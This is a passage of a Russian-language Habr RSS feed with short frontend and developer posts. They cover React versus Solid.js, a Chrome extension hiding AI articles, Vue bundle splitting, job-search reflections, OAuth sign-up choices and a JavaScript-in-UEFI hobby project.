    <description><![CDATA[<p>Всем хабровчанам удачной недели!</p><p>Хотел поинтересоваться такой темой как&nbsp;школа «Result/University». Кто обучался, как&nbsp;быстро удалось найти работу? Какова оценка по 5&nbsp;шкале?</p><p>Смогут&nbsp;ли ребята ввести в&nbsp;данную тему с&nbsp;минимальными рисками?</p> <a href="https://habr.com/ru/posts/1014380/?utm_campaign=1014380&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Tue, 24 Mar 2026 13:24:13 GMT</pubDate>
    <dc:creator><![CDATA[Gen-7]]></dc:creator>
      
      <category><![CDATA[frontend]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @box-570 — ReactJS (+1) — 24.03.2026 15:18]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1014342/</guid>
    <link>https://habr.com/ru/posts/1014342/?utm_campaign=1014342&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Solid.js должен был исправить React…но доказал, что React был прав</p><p>Все ругали React за массивы зависимостей, странные хуки и непонятные стадии рендеринга. Возникало чувство, что они усложнили фронтенд и добавили в него отложенную реакцию. Команда Solid.js решила это исправить: убрать лишние рендеры и магию по капоту. Идея была проста — использовать реактивность. Solid создавался, чтобы заменить React, но когда они <a href="https://github.com/solidjs/solid/releases/tag/v2.0.0-beta.0" rel="noopener noreferrer nofollow">работали над второй версией</a>, тут они уперлись в проблему, которую невозможно решить — ассинхронность.</p><p>Представьте: одни данные загрузились, другие ещё нет. Что покажет интерфейс? Фейковый фронтенд, который обманывает пользователя. React решал это с помощью отложенного обновления. Тогда Solid решили встроить ассинхронность прямо в реактивность. Появилось управление загрузкой, ожиданием и обновлениями — реактивность как она есть. Становится понятно, что и та, и та команда приходят к одному выводу с разных сторон, но Solid делает ее частью системы, засовывает ассинхронность прямо в реактивность и внезапно оказывается, что React не был таким уж и плохим дизайном, просто команда React-а пришла к этой проблеме гораздо раньше, чем остальные.</p><p>И главный вопрос: что важнее — устоявшийся подход React или более чистая, но сложная реактивность Solid? Или дело вовсе не в фреймворке, а в том, как ты управляешь асинхронностью?</p><p><a href="https://dev.to/playfulprogramming/two-react-design-choices-developers-dont-like-but-cant-avoid-d6g" rel="noopener noreferrer nofollow">https://dev.to/playfulprogramming/two-react-design-choices-developers-dont-like-but-cant-avoid-d6g</a></p><p>Подписывайтесь:  <a href="https://www.youtube.com/@atamrazov" rel="noopener noreferrer nofollow">YouTube</a> | <a href="https://vkvideo.ru/@club229100280" rel="noopener noreferrer nofollow">VK</a> | <a href="https://x.com/TamrazovAlex" rel="noopener noreferrer nofollow">Twitter</a></p> <a href="https://habr.com/ru/posts/1014342/?utm_campaign=1014342&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Tue, 24 Mar 2026 12:18:38 GMT</pubDate>
    <dc:creator><![CDATA[box-570]]></dc:creator>
      
      <category><![CDATA[react.js]]></category><category><![CDATA[Solid.js]]></category><category><![CDATA[solid]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @denis-19 — Звук (+4) — 24.03.2026 08:31]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1014072/</guid>
    <link>https://habr.com/ru/posts/1014072/?utm_campaign=1014072&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Представлен открытый мультиплатформенный проект <a href="https://snowify.cc/" rel="noopener noreferrer nofollow">Snowify</a>. Это аналог Spotify в виде музыкального плеера с <a href="https://github.com/nyakuoff/Snowify?tab=readme-ov-file" rel="noopener noreferrer nofollow">кодом на JavaScript</a> без рекламы и без регистрации. Музыка стримится с YouTube Music. Все функции Spotify на месте: списки треков, текст песен, плейлисты с рекомендациями и даже синхронизация с облаком. При этом в интерфейсе нет ничего лишнего, что отвлекало бы от музыки. Проект поддерживает кастомные плагины.</p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/de7/06b/5c4/de706b5c4d183edcd0affc8bcaa43af9.png" width="793" height="860"></figure> <a href="https://habr.com/ru/posts/1014072/?utm_campaign=1014072&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Tue, 24 Mar 2026 05:31:16 GMT</pubDate>
    <dc:creator><![CDATA[denis-19]]></dc:creator>
      
      <category><![CDATA[Snowify]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @seriych — Habr (+3) — 23.03.2026 19:09]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1013904/</guid>
    <link>https://habr.com/ru/posts/1013904/?utm_campaign=1013904&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong>Расширение AI-Less Habr&nbsp;— Чистим Хабр от ИИ</strong></p><p>Надоела лента, забитая ИИ? У меня есть готовое решение для вас. Shut up and take my money:</p><ul><li><p><a href="https://chromewebstore.google.com/detail/ai-less-habr/ommpbndiakfdikdhigffognkjmdpiifb" rel="noopener noreferrer nofollow">Chrome Web Store</a></p></li><li><p><a href="https://github.com/seriych/AI-Less-Habr" rel="noopener noreferrer nofollow">GitHub</a></p></li></ul><figure class=""><img src="https://habrastorage.org/getpro/habr/upload_files/eb2/7a9/562/eb27a9562cf35ca496cefbc74afe2cd0.png" alt="Интерфейс расширения" title="Интерфейс расширения" width="373" height="400"><div><figcaption>Интерфейс расширения</figcaption></div></figure><div class="floating-image"><p>Расширение для&nbsp;Chrome (и совместимых браузеров) позволяет скрывать статьи про «Искусственный интеллект». Скрывается не&nbsp;контент, написанный ИИ (LLM), а&nbsp;контент про&nbsp;ИИ (что сейчас обычно под&nbsp;этим подразумевается). Бесконечные статьи об&nbsp;очередной революции, вызванной тем, что&nbsp;такая‑то LLM модель опередила конкурентов на 0.1&nbsp;балл в&nbsp;одном из 186&nbsp;имеющихся бенчмарков, и вот этот вот всё.</p><p>Чтобы видеть счетчик скрытых статей, закрепите иконку расширения на&nbsp;панели инструментов через меню расширений (иконка паззла).</p></div><p>Есть следующие возможности:</p><ul><li><p>скрывать хаб «Искусственный интеллект»</p></li><li><p>скрывать по&nbsp;словам в&nbsp;заголовке (настраиваемый список)</p></li><li><p>скрывать по&nbsp;тегам (настраиваемый список)</p></li><li><p>инвертированный режим (показать, попадающее под&nbsp;фильтры, и скрыть остальное)</p></li></ul><p>По&nbsp;умолчанию включено только скрытие хаба «Искусственный интеллект». Фильтры по&nbsp;словам/тегам с&nbsp;большей вероятностью допускают ложноположительные срабатывания, поэтому выключены по&nbsp;умолчанию. По&nbsp;этой&nbsp;же причине в&nbsp;фильтрах по&nbsp;словам по&nbsp;умолчанию нет слов «ии»/«ai», так как&nbsp;есть достаточно много статей, содержащих что‑то вроде «без ИИ». Внимательно относитесь к&nbsp;добавлению слов в&nbsp;фильтры, чтобы минимизировать ложноположительные срабатывания.</p> <a href="https://habr.com/ru/posts/1013904/?utm_campaign=1013904&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Mon, 23 Mar 2026 16:09:34 GMT</pubDate>
    <dc:creator><![CDATA[seriych]]></dc:creator>
      
      <category><![CDATA[хабр]]></category><category><![CDATA[habr.com]]></category><category><![CDATA[расширения chrome]]></category><category><![CDATA[расширение]]></category><category><![CDATA[habr]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @cmyser — $mol (+2) — 18.03.2026 19:53]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1011926/</guid>
    <link>https://habr.com/ru/posts/1011926/?utm_campaign=1011926&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Сделал <a href="https://b-on-g.github.io/blitz/" rel="noopener noreferrer nofollow">интерактивный квиз</a>!</p><p>→ <a href="https://b-on-g.github.io/blitz/blog/#!screen=about" rel="noopener noreferrer nofollow">Ознакомительная статья</a></p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/b93/8df/798/b938df7987e4e3a5c1fbbc3f7e415924.png" alt="экран лобби, стримит хост" title="экран лобби, стримит хост" width="3092" height="2206"><div><figcaption>экран лобби, стримит хост</figcaption></div></figure><p><br>Смотрите пробуйте играйте, формируйте своё мнение, и всегда помните&nbsp;— хост&nbsp;— это не&nbsp;игрок, он не&nbsp;может выбирать ответы, но&nbsp;вы можете запустить игру с&nbsp;пк, и зайти с&nbsp;телефона. Или&nbsp;с&nbsp;одного пк на&nbsp;разных браузерах.</p><p>Делал долго, мой магнум опус.</p> <a href="https://habr.com/ru/posts/1011926/?utm_campaign=1011926&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Wed, 18 Mar 2026 16:53:49 GMT</pubDate>
    <dc:creator><![CDATA[cmyser]]></dc:creator>
      
      <category><![CDATA[$mol]]></category><category><![CDATA[квиз]]></category><category><![CDATA[квизы]]></category><category><![CDATA[квиз бесплатно]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Viktor9354 — JavaScript — 07.03.2026 16:07]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1007702/</guid>
    <link>https://habr.com/ru/posts/1007702/?utm_campaign=1007702&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/9cb/f5c/fe7/9cbf5cfe7d7e4d342e4346fcc99e72af.png" width="1280" height="853"></figure><p><strong><u>Гибкое управление фокусом элемента</u></strong></p><p><a href="https://developer.chrome.com/release-notes/145" rel="noopener noreferrer nofollow">Chrome в 145 версии</a> добавил параметр <code>focusVisible</code> в метод <code>focus</code>:</p><p><code>input.focus({ focusVisible: true });</code></p><p>Как вы уже, наверное, догадываетесь, это позволяет самостоятельно управлять тем, будет ли элемент при ручном вызове фокуса, помимо CSS-псевдокласса <code>:focus</code>, соответствовать ещё и <code>:focus-visible</code>.</p><p>Ранее без данного параметра браузер самостоятельно решал этот вопрос.</p><p>⚙️ Поддержка браузерами <a href="https://caniuse.com/mdn-api_htmlelement_focus_options_focusvisible_parameter" rel="noopener noreferrer nofollow">широкая</a><br>🔗 <a href="https://t.me/fe_notes" rel="noopener noreferrer nofollow">Мой телеграм канал</a></p> <a href="https://habr.com/ru/posts/1007702/?utm_campaign=1007702&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Sat, 07 Mar 2026 13:07:26 GMT</pubDate>
    <dc:creator><![CDATA[Viktor9354]]></dc:creator>
      
      <category><![CDATA[javascript]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Stugi — VueJS (+2) — N/P]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1005242/</guid>
    <link>https://habr.com/ru/posts/1005242/?utm_campaign=1005242&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong>Как я оптимизировала фронт на 40% и никто не заметил</strong></p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/d65/e14/154/d65e141549403b38761f1304557e5aab.png" width="1124" height="1148"></figure><p><strong>Предыстория</strong></p><p>Когда я помогала с поиском сотрудника и просматривала резюме на фронтенд разработчика, очень часто встречала фразу - <strong>"Оптимизировал(а) размер бандла на 30% / 40% / 50%, что увеличило ..."</strong> как под копирку от ИИ, а у меня из достижений в резюме - "делаю задачи и фикшу баги"&nbsp;</p><p>Ну что ж, возьмем свое приложение и оптимизируем его</p><p><strong>О приложении</strong></p><p>Это небольшое SPA на Vue 3 для администрирования справочников. Ничего особенного, но это приложение экономит время программистам, которые не лезут в БД, и, как мне кажется, полезно для аналитиков и QA - это позволяет лучше понять, как устроена база, и почему иногда что-то не работает как ожидается.</p><p><strong>Начнем оптимизацию</strong></p><p>Запускаем <code>npx vite-bundle-visualizer</code> и получаем вот такую красивую розовую визуализацию (прикрепила бы скрин, на то что получилось, но в пост можно одну картинку добавить)</p><p>Смотрим роутинг у приложения... Все роуты импортируются сразу. Применяем легкий фикс:</p><ul><li><p>Оставляем синхронный импорт только для страниц, которые первыми открываются у пользователей </p></li><li><p>Остальные подгружаем отдельно с помощью lazy import</p></li></ul><pre><code>// Было:
import PaymentTypes from '@/views/Directories/PaymentType/PaymentTypes.vue';
import OrderTypes from '@/views/Directories/OrderType/OrderTypes.vue';
import Configurations from '@/views/Directories/Configuration/Configurations.vue';
import NewConfiguration from '@/views/Directories/Configuration/NewConfiguration.vue';
import ConfigurationPage from '@/views/Directories/Configuration/ConfigurationPage.vue';
import Source from '@/views/Directories/Source/Source.vue';
import City from '@/views/Directories/City/City.vue';
import Brand from '@/views/Directories/Brand/Brand.vue';
import CloseReason from '@/views/Directories/CloseReason/CloseReason.vue';
import ChangeReason from '@/views/Directories/ChangeReason/ChangeReason.vue';
import Restaurants from '@/views/Directories/Restaurants/Restaurants.vue';
import RestaurantPage from '@/views/Directories/Restaurants/RestaurantPage.vue';
import NewRestaurant from '@/views/Directories/Restaurants/NewRestaurant.vue';
import Discounts from '@/views/Directories/Discounts/Discounts.vue';
import PriceTypes from '@/views/Directories/PriceType/PriceTypes.vue';
</code></pre><pre><code>// Стало:
  children: [
            {
                path: 'brand',
                name: 'Бренды',
                component: () =&gt;
                    import('@/views/Directories/Brand/Brand.vue'), // &lt;--тут
                meta: {
                    breadcrumbs: ['Справочники', 'Бренды'],
                    requiresAuth: true,
                    permissions: ['admin.admin'],
                    title: 'Бренды',
                    section: 'directories',
                },
            },
...
]</code></pre><p>Запускаем снова и уже получаем уже разбитый бандл. <strong>Code Splitting работает, в</strong>ывод сборки теперь показывает множество маленьких JS-файлов для каждой страницы.</p><p><strong>Итоги оптимизации:</strong></p><p>Уменьшили основной бандл с 245 kB до 148 kB (gzip) — это минус 39%</p><p><strong>Что получили:</strong></p><ul><li><p><strong>✅ </strong>Оптимизировала размер бандла на <strong>40%</strong></p></li><li><p><strong>✅</strong> Улучшила First Contentful Paint</p></li><li><p><strong>✅</strong> Внедрила code splitting</p></li><li><p><strong>✅</strong> Повысила производительность</p></li><li><p><strong>✅ </strong>Уменьшила основной JavaScript-файл почти на <strong>40%</strong> (в gzip)</p></li><li><p><strong>✅</strong> Уменьшила сырой размер на <strong>46%</strong></p></li><li><p><strong>✅</strong> Теперь загружается только то, что нужно для текущей страницы</p></li></ul><p><strong> Реальность:</strong></p><ul><li><p><strong>❌ Съэкономил ли бизнес деньги?</strong> - Нет</p></li><li><p><strong>❌</strong> <strong>Выросла ли конверсия?</strong> - Как? 🌝 это внутренний админ-интерфейс</p></li><li><p><strong>❌</strong> <strong>Применили ли чудо-технологию?</strong> - Нет, добавили lazy import из коробки фреймворка и рекомендацией из документации</p></li><li><p><strong>❌</strong> <strong>Кто-то это заметил?</strong> - Только я в отчете, "на глаз" даже мне не заметно</p></li><li><p><strong>❌ Заметил ли пользователь?</strong> - Нет, потому что основное время все равно уходит на получение данных с backend</p></li></ul><p><strong>Мысли по этому поводу</strong></p><p>И так, мы теперь можем добавить заветную строчку в резюме! </p><p><strong>А вы встречаете эту строчку в резюме?</strong></p><ul><li><p>Какие чувства она у вас вызывает?</p></li><li><p>Красный флаг ли она для вас?</p></li><li><p>Или наоборот - показатель того, что человек думает о производительности?</p></li></ul><p><a href="https://t.me/shimanchuk_arina" rel="noopener noreferrer nofollow">Мой канал</a> о поиске работы (ничего не продаю и не рекламирую, только себя)</p> <a href="https://habr.com/ru/posts/1005242/?utm_campaign=1005242&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Sun, 01 Mar 2026 17:54:50 GMT</pubDate>
    <dc:creator><![CDATA[Stugi]]></dc:creator>
      
      <category><![CDATA[Vue 3]]></category><category><![CDATA[оптимизация]]></category><category><![CDATA[code splitting]]></category><category><![CDATA[резюме]]></category><category><![CDATA[фронтенд]]></category><category><![CDATA[поиск работы в it]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @gtosss — Тестирование IT-систем (+4) — 28.02.2026 06:43]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1004780/</guid>
    <link>https://habr.com/ru/posts/1004780/?utm_campaign=1004780&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Недавно общался с крупной зарубежной продуктовой компанией. Штат 500–1000 человек, вроде зрелые процессы, ЗП у разрабов  5000<strong>€</strong> баг-репорты по ISO/IEC/IEEE 29119. И при этом:</p><blockquote><p><em>«Не успеваем уделять время автотестам. Сфокусированы на скорости разработки и релизах.»</em></p></blockquote><p>Что меня зацепило — каждый их аргумент против тестов я интерпретировал как аргумент за:</p><p> — «Слишком частые релизы» → А не потому ли они такие частые, что баги проскакивают на прод? </p><p>— «Требования постоянно меняются» → Тем более — как вы контролируете, что старое не ломается? </p><p>— «И так работают наизнос если еще и тесты заставить писать — выгорят» → А не от бесконечного ли футбола с багами они выгорают?</p><p>А как у вас? Есть автотесты на проекте? Или тоже «не до них»? <br><br>Я написал целую статью на эту тему, если все выше вам откликается рекомендую к прочтению: <a href="https://habr.com/ru/articles/1004396/" rel="noopener noreferrer nofollow">Нет времени на тесты — через неделю релиз</a></p> <a href="https://habr.com/ru/posts/1004780/?utm_campaign=1004780&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Sat, 28 Feb 2026 03:43:08 GMT</pubDate>
    <dc:creator><![CDATA[gtosss]]></dc:creator>
      
      <category><![CDATA[cypress]]></category><category><![CDATA[jest]]></category><category><![CDATA[тестирование]]></category><category><![CDATA[тестирование по]]></category><category><![CDATA[тестирование веб-приложений]]></category><category><![CDATA[nest]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Stugi — VueJS (+3) — 19.02.2026 12:37]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1001350/</guid>
    <link>https://habr.com/ru/posts/1001350/?utm_campaign=1001350&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong>Выбор вакансии: как я кинулась во всё — и это не дало результата.</strong></p><p>Есть разработчики, у которых развитие идёт линейно и предсказуемо: верстальшик → джун фронтендер → мидл → мидл в сильной компании → сеньор/лид/уход в бэкенд </p><p><strong>Красиво. Понятно. Логично.</strong></p><p>Но у меня кривая черта развития сначала бэк на Java в закрытом предприятии. Потом фулстек в фудтехе: в основном Vue,  но ещё и Go (и все сопутствующее), и CUBA Platform (lowcode на java, он же «Тезис»), и n8n. </p><p><strong>Широко. Разнообразно. Интересно.</strong> </p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/eac/1d9/b1f/eac1d9b1f917965e2f799b1ffa625887.png" width="1536" height="1024"></figure><p><strong>Как я начала откликаться - на всё, что блестит</strong> </p><p>И сейчас Когда я вышла на рынок, то сначала я откликалась на все что близко: </p><ol><li><p> <strong>Frontend - Vue / React / Angular</strong>  <br>Ну фронт же. Есть мнение, что «не нужно учить конкретный фреймворк — важны принципы». </p></li><li><p><strong>Go</strong>  <br>а почему бы нет? Знаю , умею , курсы закончены, писала на нем  </p></li><li><p><strong>Fullstack (Go или JDK + фронт)</strong> </p></li><li><p><strong>N8N, автоматизаторы особенно с ИИ </strong> <br>Интересно. Растущее направление. </p></li><li><p><strong>Lowcode платформы CUBA, тезис, WebTutor - замаскированный под фронтенд</strong> Опыт есть. Почему не использовать?  </p></li></ol><p><strong>И это фатал еrror</strong></p><ol><li><p><strong>Ошибка №1. Переключение контекста </strong><br>Очень сложно переключать контекст и даже синтаксис языка - на первом собесе по TS я не смогла вспомнить синтаксис (на ум приходил только java, так как он изучался более долго и в закрытой среде, ирония: хоть я на нем и не пишу, но разбуди среди ночи - код напишу) </p></li><li><p><strong>Ошибка №2. Рынок </strong><br>Рассматривать вакансии на Angular, React без опыта в продакшене - на данный момент наивно. <br><br>Рынок перегрет: <br>- Vue ~ 1000 откликов за неделю,  <br>- React - 4000 ,  <br><br>Неужели Арина (или тот кто читает эту статью) ты думаешь, что кто-то будет рассматривать ваше резюме со Vue? Каким бы в целом хорошим инженером вы не были. Рынок не покупает «в целом». </p></li><li><p><strong>Ошибка №3. Fullstack со связкой Go + Vue или JDK + Vue</strong> <br>Фуллстеки со связкой go или jdk - это бред вакансии, это карьерный тупик. <br>- PHP + Vue  - норм<br>- Node + Vue - норм, <br>но Go + Vue - это нонсенс, это только подработка для поддержания штанов. Чаще это небольшие команды, поддержка, нестабильные проекты. </p></li><li><p><strong>Ошибка №4. n8n — нравится, но это уже не совсем разработка</strong> <br>Автоматизация, интеграции, AI — это интересно.  Но это больше аналитика и orchestration, чем классическая инженерия. Если хочешь быть разработчиком — нужно понимать, куда ты смещаешь фокус.  </p></li><li><p><strong>Ошибка №5. Low-code —  карьерный тупик</strong> <br>Проблем с окружением больше. Кода меньше. Рынок уже. Ты становишься зависимой от конкретной платформы. И выйти обратно в «чистую разработку» становится сложнее.   </p></li></ol><p><strong>Мой&nbsp;Hotfix: Фокус</strong></p><p>Я поняла, что на падающем рынке выживают либо "универсалы" c ИИ подбоком, либо эксперты </p><p><strong>Моя новая стратегия:</strong></p><ul><li><p><strong>Vue 3 + TypeScript + Nuxt </strong>(как зона роста)  </p></li><li><p><strong>n8n</strong> — как подработку и интересный дополнительный навык.</p></li></ul><p>Иногда рост — это не добавить ещё стек.  А убрать лишнее.</p> <a href="https://habr.com/ru/posts/1001350/?utm_campaign=1001350&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Thu, 19 Feb 2026 09:37:59 GMT</pubDate>
    <dc:creator><![CDATA[Stugi]]></dc:creator>
      
      <category><![CDATA[vue]]></category><category><![CDATA[поиск работы в it]]></category><category><![CDATA[fullstack]]></category><category><![CDATA[soft skills]]></category><category><![CDATA[фокус]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @VamWebStore — Git (+4) — 11.02.2026 14:55]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/995354/</guid>
    <link>https://habr.com/ru/posts/995354/?utm_campaign=995354&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/31b/e40/eef/31be40eef6492e93894c2e00c8192c11.png" width="2496" height="1154"></figure><p><strong>OAuth на практике: что оказалось удобным, а что отпугнуло пользователей</strong></p><blockquote><p>Мы запустили молодую платформу с двумя типами аккаунтов: обычные пользователи и разработчики (публикуют PWA и управляют приложениями).</p><p>Бренда и доверия пока нет, поэтому вопрос авторизации быстро стал не техническим, а психологическим.</p></blockquote><p>С чего начали</p><p>Для обычных пользователей:<br> •	Email / пароль<br> •	Google<br> •	GitHub</p><p>Для разработчиков — жёстче:<br> •	Обязательная привязка Google<br> •	Обязательная привязка GitHub</p><p>Логика казалась разумной:<br> «Разработчик = есть GitHub»<br> «Двойная верификация = меньше спама»</p><p>На практике это не сработало.</p><p>Первые тревожные сигналы</p><p>Регистрация разработчиков шла крайне медленно, несмотря на интерес к публикации приложений.</p><p>Сначала списывали на:<br> •	новый продукт<br> •	низкое доверие<br> •	отсутствие аудитории</p><p>Но после общения с разработчиками (в том числе через Habr) картина прояснилась.</p><p>Что отпугивало разработчиков</p><ol><li><p>Новый сервис → нежелание делиться данными</p></li></ol><p>Даже если это «просто email», психологический барьер остаётся.</p><p>Когда с первого шага нужно:<br> •	линковать внешние аккаунты<br> •	проходить несколько этапов подтверждения<br> •	подключать сторонние сервисы</p><p>это воспринимается как лишний фрикцион.</p><p>Особенно для соло-разработчиков и небольших команд.</p><ol start="2"><li><p>Git ≠ GitHub</p></li></ol><p>Ключевой инсайт.</p><p>Мы обнаружили, что:<br> •	не все хотят логиниться через GitHub<br> •	часть использует GitLab или Bitbucket<br> •	некоторые принципиально не хотят связывать GitHub с новым сервисом</p><p>Обязательная привязка GitHub стала серьёзным барьером.</p><p>А мнение стандартных пользователей разделилось:</p><p>Часть говорила:</p><p>«Чем больше OAuth-кнопок, тем солиднее выглядит платформа».</p><p>Логика простая:<br> •	если есть Google / Facebook / Discord — значит не ноунейм<br> •	интеграции с крупными сервисами повышают доверие</p><p>Это не про безопасность — это про ощущение легитимности.</p><p>Другие говорили ровно противоположное:</p><p>«Слишком много кнопок — ощущение перегруженности».</p><p>И это тоже справедливый аргумент.</p><p>Что мы изменили</p><ol><li><p>Упростили форму для пользователей</p></li></ol><p>Оставили:<br> •	Google<br> •	Facebook<br> •	Discord</p><p>Достаточно выбора для доверия, без визуального шума.</p><ol start="2"><li><p>Git-провайдеры вынесли в отдельную группу</p></li></ol><p>Под отдельной кнопкой:<br> •	GitHub<br> •	GitLab<br> •	Bitbucket</p><p>Для разработчиков это стало понятнее и логичнее.</p><ol start="3"><li><p>Убрали обязательный GitHub</p></li></ol><p>Теперь для developer-аккаунта нужно подключить любой Git-аккаунт, если ни один не подключён.</p><p>Без принудительного GitHub.</p><p>Первые цифры (осторожно)</p><p>Прошла всего неделя, выборка маленькая, платформа всё ещё молодая.</p><p>Тем не менее:<br> •	Зарегистрированные пользователи: +13%<br> (было 0–6% в неделю)<br> •	Зарегистрированные разработчики: +16%<br> (было 0–3%)</p><p>Похоже, это те разработчики, которые знали о платформе, но их останавливало требование GitHub.</p><p>Выводы (пока не финальные)<br> •	OAuth — это не только безопасность, но и психология доверия<br> •	Жёсткие требования на старте почти всегда бьют по росту<br> •	Git ≠ GitHub — и это важно<br> •	Много провайдеров могут как повышать доверие, так и перегружать UI</p><p>Для молодой платформы даже такие ранние сигналы уже показательны.</p><p>Интересно услышать опыт коллег:<br> добавляли ли вы OAuth-провайдеров после запуска?<br> были ли случаи, когда обязательная авторизация через конкретный сервис тормозила рост?</p> <a href="https://habr.com/ru/posts/995354/?utm_campaign=995354&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Wed, 11 Feb 2026 11:55:09 GMT</pubDate>
    <dc:creator><![CDATA[VamWebStore]]></dc:creator>
      
      <category><![CDATA[OAuth]]></category><category><![CDATA[аутентификация]]></category><category><![CDATA[авторизация]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[GitLab]]></category><category><![CDATA[Bitbucket]]></category><category><![CDATA[доверие пользователей]]></category><category><![CDATA[рост продукта]]></category><category><![CDATA[pwa]]></category><category><![CDATA[store]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @atomlib — JavaScript (+4) — 10.02.2026 09:25]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/994724/</guid>
    <link>https://habr.com/ru/posts/994724/?utm_campaign=994724&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Греческие мифы рассказывают про титана Прометея, который украл у богов огонь и поделился им с людьми. Персонажа за это приковали к скале не просто в наказание, но и в назидание остальным: знание не даётся бесплатно, за него нужно платить.</p><p>Если судить по названию, автор проекта <a href="https://codeberg.org/smnx/promethee" rel="noopener noreferrer nofollow">Promethee</a> кары богов нисколько не боится. Некто SMNX взял самый сакральный слой современного компьютера&nbsp;— прошивку UEFI&nbsp;— и добавил туда JavaScript. Как гласит <code>readme.md</code>, на старте загрузки Promethee подхватывает <code>script.js</code> с загрузочного тома и исполняет его, то есть этот скрипт и будет загрузчиком.</p><p>Понятно, что на боевую машину это ставить смысла нет, это просто эксперимент. Лабораторный характер подчёркивается сборкой и запуском в QEMU. Проект реализован автономно (freestanding), с минимальными заглушками libc. В качестве движка используется <a href="https://duktape.org/" rel="noopener noreferrer nofollow">Duktape</a>&nbsp;— встраиваемый JS-движок, рассчитанный на портируемость и компактность.</p><p>Для SMNX это уже не первый подобный забавный самопис. На <a href="https://smnx.sh/" rel="noopener noreferrer nofollow">своём сайте</a> автор представляется как Клем и прямо говорит, что любит строить «операционные системы, компиляторы, инструменты и веб-движки». Там же перечислены другие поделки: модульная хобби-операционка <a href="https://github.com/skift-org/skift" rel="noopener noreferrer nofollow">SkiftOS</a>, HTML/CSS-движок <a href="https://github.com/skift-org/vaev" rel="noopener noreferrer nofollow">Vaev</a>, экспериментальные инструменты для генерации документов, а также операционная система с эстетикой брутализма и идеалами UNIX семидесятых <a href="https://github.com/brutal-org/brutal" rel="noopener noreferrer nofollow">BRUTAL</a>.</p><p>JavaScript исторически задумывался как язык, который оживляет веб-страницы и делает их интерактивными. Сегодня же он расползся по всем слоям стека, <a href="https://www.espruino.com/" rel="noopener noreferrer nofollow">от микроконтроллеров</a> до <a href="https://jerryscript.net/" rel="noopener noreferrer nofollow">ультра-лёгких движков для Интернета вещей</a>. В том числе бывают попытки писать на JavaScript то, что не следует, хоть операционные системы. Самый цитируемый пример&nbsp;— это <a href="https://github.com/NodeOS/NodeOS" rel="noopener noreferrer nofollow">NodeOS</a>, дистрибутив Linux, где вместо привычного пользовательского мира предлагается использовать Node.js и npm как основной пакетный менеджер, и многие утилиты предполагается брать из npm-экосистемы. Другой полюс&nbsp;— <a href="http://runtimejs.org/" rel="noopener noreferrer nofollow">runtime.js</a>, библиотечная операционка, где JavaScript-рантайм на базе V8 и минимальная операционка собираются в лёгкий неизменяемый образ виртуальной машины для запуска на KVM, то есть ОС здесь становится упаковкой для единственного приложения на JS.</p><p>Promethee&nbsp;— не первый проект, где соседствуют JavaScript и UEFI. Беглый поиск обнаруживает <a href="https://github.com/TuvianNavy/Duktape-UEFI" rel="noopener noreferrer nofollow">порт Duktape под 